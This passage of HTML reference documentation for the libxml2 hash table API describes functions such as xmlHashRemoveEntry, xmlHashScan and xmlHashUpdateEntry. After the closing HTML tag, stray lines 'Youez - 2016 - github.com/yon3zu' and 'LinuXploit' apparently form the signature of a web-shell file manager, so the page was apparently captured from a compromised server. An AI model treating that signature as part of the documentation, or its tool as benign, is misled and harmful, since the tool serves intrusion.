</tr>
<tr>
<td><span class="term"><i><tt>prefix</tt></i>:</span></td>
<td>the prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>prefix2</tt></i>:</span></td>
<td>the second prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>prefix3</tt></i>:</span></td>
<td>the third prefix of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the a pointer to the userdata</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashRemoveEntry"></a>xmlHashRemoveEntry ()</h3>
<pre class="programlisting">int	xmlHashRemoveEntry		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Find the userdata specified by the @name and remove it from the hash @table. Existing userdata for this tuple will be removed and freed with @f.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for removed item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 if the removal succeeded and -1 in case of error or not found.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashRemoveEntry2"></a>xmlHashRemoveEntry2 ()</h3>
<pre class="programlisting">int	xmlHashRemoveEntry2		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Find the userdata specified by the (@name, @name2) tuple and remove it from the hash @table. Existing userdata for this tuple will be removed and freed with @f.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for removed item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 if the removal succeeded and -1 in case of error or not found.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashRemoveEntry3"></a>xmlHashRemoveEntry3 ()</h3>
<pre class="programlisting">int	xmlHashRemoveEntry3		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Find the userdata specified by the (@name, @name2, @name3) tuple and remove it from the hash @table. Existing userdata for this tuple will be removed and freed with @f.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for removed item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 if the removal succeeded and -1 in case of error or not found.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScan"></a>xmlHashScan ()</h3>
<pre class="programlisting">void	xmlHashScan			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashScanner">xmlHashScanner</a> f, <br>					 void * data)<br>
</pre>
<p>Scan the hash @table and applied @f to each value.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the scanner function for items in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra data passed to f</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScan3"></a>xmlHashScan3 ()</h3>
<pre class="programlisting">void	xmlHashScan3			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashScanner">xmlHashScanner</a> f, <br>					 void * data)<br>
</pre>
<p>Scan the hash @table and applied @f to each value matching (@name, @name2, @name3) tuple. If one of the names is null, the comparison is considered to match.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the scanner function for items in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra data passed to f</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScanFull"></a>xmlHashScanFull ()</h3>
<pre class="programlisting">void	xmlHashScanFull			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 <a href="libxml2-hash.html#xmlHashScannerFull">xmlHashScannerFull</a> f, <br>					 void * data)<br>
</pre>
<p>Scan the hash @table and applied @f to each value.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the scanner function for items in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra data passed to f</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashScanFull3"></a>xmlHashScanFull3 ()</h3>
<pre class="programlisting">void	xmlHashScanFull3		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 <a href="libxml2-hash.html#xmlHashScannerFull">xmlHashScannerFull</a> f, <br>					 void * data)<br>
</pre>
<p>Scan the hash @table and applied @f to each value matching (@name, @name2, @name3) tuple. If one of the names is null, the comparison is considered to match.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata or NULL</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the scanner function for items in the hash</td>
</tr>
<tr>
<td><span class="term"><i><tt>data</tt></i>:</span></td>
<td>extra data passed to f</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashSize"></a>xmlHashSize ()</h3>
<pre class="programlisting">int	xmlHashSize			(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table)<br>
</pre>
<p>Query the number of elements installed in the hash @table.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>the number of elements in the hash table or -1 in case of error</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashUpdateEntry"></a>xmlHashUpdateEntry ()</h3>
<pre class="programlisting">int	xmlHashUpdateEntry		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the @name. Existing entry for this @name will be removed and freed with @f if found.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for replaced item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashUpdateEntry2"></a>xmlHashUpdateEntry2 ()</h3>
<pre class="programlisting">int	xmlHashUpdateEntry2		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the (@name, @name2) tuple. Existing entry for this tuple will be removed and freed with @f if found.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for replaced item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<h3>
<a name="xmlHashUpdateEntry3"></a>xmlHashUpdateEntry3 ()</h3>
<pre class="programlisting">int	xmlHashUpdateEntry3		(<a href="libxml2-hash.html#xmlHashTablePtr">xmlHashTablePtr</a> table, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name2, <br>					 const <a href="libxml2-xmlstring.html#xmlChar">xmlChar</a> * name3, <br>					 void * userdata, <br>					 <a href="libxml2-hash.html#xmlHashDeallocator">xmlHashDeallocator</a> f)<br>
</pre>
<p>Add the @userdata to the hash @table. This can later be retrieved by using the tuple (@name, @name2, @name3). Existing entry for this tuple will be removed and freed with @f if found.</p>
<div class="variablelist"><table border="0">
<col align="left">
<tbody>
<tr>
<td><span class="term"><i><tt>table</tt></i>:</span></td>
<td>the hash table</td>
</tr>
<tr>
<td><span class="term"><i><tt>name</tt></i>:</span></td>
<td>the name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name2</tt></i>:</span></td>
<td>a second name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>name3</tt></i>:</span></td>
<td>a third name of the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>userdata</tt></i>:</span></td>
<td>a pointer to the userdata</td>
</tr>
<tr>
<td><span class="term"><i><tt>f</tt></i>:</span></td>
<td>the deallocator function for replaced item (if any)</td>
</tr>
<tr>
<td><span class="term"><i><tt>Returns</tt></i>:</span></td>
<td>0 the addition succeeded and -1 in case of error.</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
</div>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit